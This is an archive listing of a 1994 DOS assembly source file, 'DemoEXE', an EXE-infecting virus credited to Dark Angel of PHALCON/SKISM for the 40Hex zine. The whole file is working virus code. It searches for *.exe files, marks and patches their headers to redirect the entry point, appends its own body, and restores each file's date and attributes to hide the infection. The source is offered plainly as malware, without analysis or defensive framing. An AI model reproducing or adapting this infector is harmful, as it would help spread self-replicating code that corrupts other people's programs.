home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DEMOEXE.ASM < prev    next >
Assembly Source File  |  1994-11-16  |  7KB  |  152 lines

  1.   .model tiny                             ; Handy TASM directive
  2.   .code                                   ; Virus code segment
  3.             org 100h                      ; COM file starting IP
  4.   ; Cheesy EXE infector
  5.   ; Written by Dark Angel of PHALCON/SKISM
  6.   ; For 40Hex Number 8 Volume 2 Issue 4
  7.   id = 'DA'                               ; ID word for EXE infections
  8.   startvirus:                             ; virus code starts here
  9.             call next                     ; calculate delta offset
  10.   next:     pop  bp                       ; bp = IP next
  11.             sub  bp,offset next           ; bp = delta offset
  12.             push ds
  13.             push es
  14.             push cs                       ; DS = CS
  15.             pop  ds
  16.             push cs                       ; ES = CS
  17.             pop  es
  18.             lea  si,[bp+jmpsave2]
  19.             lea  di,[bp+jmpsave]
  20.             movsw
  21.             movsw
  22.             movsw
  23.             movsw
  24.             mov  ah,1Ah                   ; Set new DTA
  25.             lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  26.             int  21h
  27.             lea  dx,[bp+exe_mask]
  28.             mov  ah,4eh                   ; find first file
  29.             mov  cx,7                     ; any attribute
  30.   findfirstnext:
  31.             int  21h                      ; DS:DX points to mask
  32.             jc   done_infections          ; No mo files found
  33.             mov  al,0h                    ; Open read only
  34.             call open
  35.             mov  ah,3fh                   ; Read file to buffer
  36.             lea  dx,[bp+buffer]           ; @ DS:DX
  37.             mov  cx,1Ah                   ; 1Ah bytes
  38.             int  21h
  39.             mov  ah,3eh                   ; Close file
  40.             int  21h
  41.   checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  42.             jnz  infect_exe
  43.   find_next:
  44.             mov  ah,4fh                   ; find next file
  45.             jmp  short findfirstnext
  46.   done_infections:
  47.             mov  ah,1ah                   ; restore DTA to default
  48.             mov  dx,80h                   ; DTA in PSP
  49.             pop  es
  50.             pop  ds                       ; DS->PSP
  51.             int  21h
  52.             mov  ax,es                    ; AX = PSP segment
  53.             add  ax,10h                   ; Adjust for PSP
  54.             add  word ptr cs:[si+jmpsave+2],ax
  55.             add  ax,word ptr cs:[si+stacksave+2]
  56.             cli                           ; Clear intrpts for stack manip.
  57.             mov  sp,word ptr cs:[si+stacksave]
  58.             mov  ss,ax
  59.             sti
  60.             db   0eah                     ; jmp ssss:oooo
  61.   jmpsave             dd ?                ; Original CS:IP
  62.   stacksave           dd ?                ; Original SS:SP
  63.   jmpsave2            dd 0fff00000h       ; Needed for carrier file
  64.   stacksave2          dd ?
  65.   creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
  66.   virusname           db '[DemoEXE] for 40Hex',0
  67.   infect_exe:
  68.             les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  69.             mov  word ptr [bp+jmpsave2], ax
  70.             mov  word ptr [bp+jmpsave2+2], es
  71.             les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  72.             mov  word ptr [bp+stacksave2], es
  73.             mov  word ptr [bp+stacksave2+2], ax
  74.             mov  ax, word ptr [bp+buffer + 8] ; Get header size
  75.             mov  cl, 4                        ; convert to bytes
  76.             shl  ax, cl
  77.             xchg ax, bx
  78.             les  ax, [bp+offset newDTA+26]; Get file size
  79.             mov  dx, es                   ; to DX:AX
  80.             push ax
  81.             push dx
  82.             sub  ax, bx                   ; Subtract header size from
  83.             sbb  dx, 0                    ; file size
  84.             mov  cx, 10h                  ; Convert to segment:offset
  85.             div  cx                       ; form
  86.             mov  word ptr [bp+buffer+14h], dx ; New entry point
  87.             mov  word ptr [bp+buffer+16h], ax
  88.             mov  word ptr [bp+buffer+0Eh], ax ; and stack
  89.             mov  word ptr [bp+buffer+10h], id
  90.             pop  dx                       ; get file length
  91.             pop  ax
  92.             add  ax, heap-startvirus      ; add virus size
  93.             adc  dx, 0
  94.             mov  cl, 9                    ; 2**9 = 512
  95.             push ax
  96.             shr  ax, cl
  97.             ror  dx, cl
  98.             stc
  99.             adc  dx, ax                   ; filesize in pages
  100.             pop  ax
  101.             and  ah, 1                    ; mod 512
  102.             mov  word ptr [bp+buffer+4], dx ; new file size
  103.             mov  word ptr [bp+buffer+2], ax
  104.             push cs                       ; restore ES
  105.             pop  es
  106.             mov  cx, 1ah
  107.   finishinfection:
  108.             push cx                       ; Save # bytes to write
  109.             xor  cx,cx                    ; Clear attributes
  110.             call attributes               ; Set file attributes
  111.             mov  al,2
  112.             call open
  113.             mov  ah,40h                   ; Write to file
  114.             lea  dx,[bp+buffer]           ; Write from buffer
  115.             pop  cx                       ; cx bytes
  116.             int  21h
  117.             mov  ax,4202h                 ; Move file pointer
  118.             xor  cx,cx                    ; to end of file
  119.             cwd                           ; xor dx,dx
  120.             int  21h
  121.             mov  ah,40h                   ; Concatenate virus
  122.             lea  dx,[bp+startvirus]
  123.             mov  cx,heap-startvirus       ; # bytes to write
  124.             int  21h
  125.             mov  ax,5701h                 ; Restore creation date/time
  126.             mov  cx,word ptr [bp+newDTA+16h] ; time
  127.             mov  dx,word ptr [bp+newDTA+18h] ; date
  128.             int  21h
  129.             mov  ah,3eh                   ; Close file
  130.             int  21h
  131.             mov ch,0
  132.             mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  133.             call attributes                 ; attributes
  134.   mo_infections: jmp find_next
  135.   open:
  136.             mov  ah,3dh
  137.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  138.             int  21h
  139.             xchg ax,bx
  140.             ret
  141.   attributes:
  142.             mov  ax,4301h                 ; Set attributes to cx
  143.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  144.             int  21h
  145.             ret
  146.   exe_mask            db '*.exe',0
  147.   heap:                                   ; Variables not in code
  148.   newDTA              db 42 dup (?)       ; Temporary DTA
  149.   buffer              db 1ah dup (?)      ; read buffer
  150.   endheap:                                ; End of virus
  151.   end       startvirus
  152.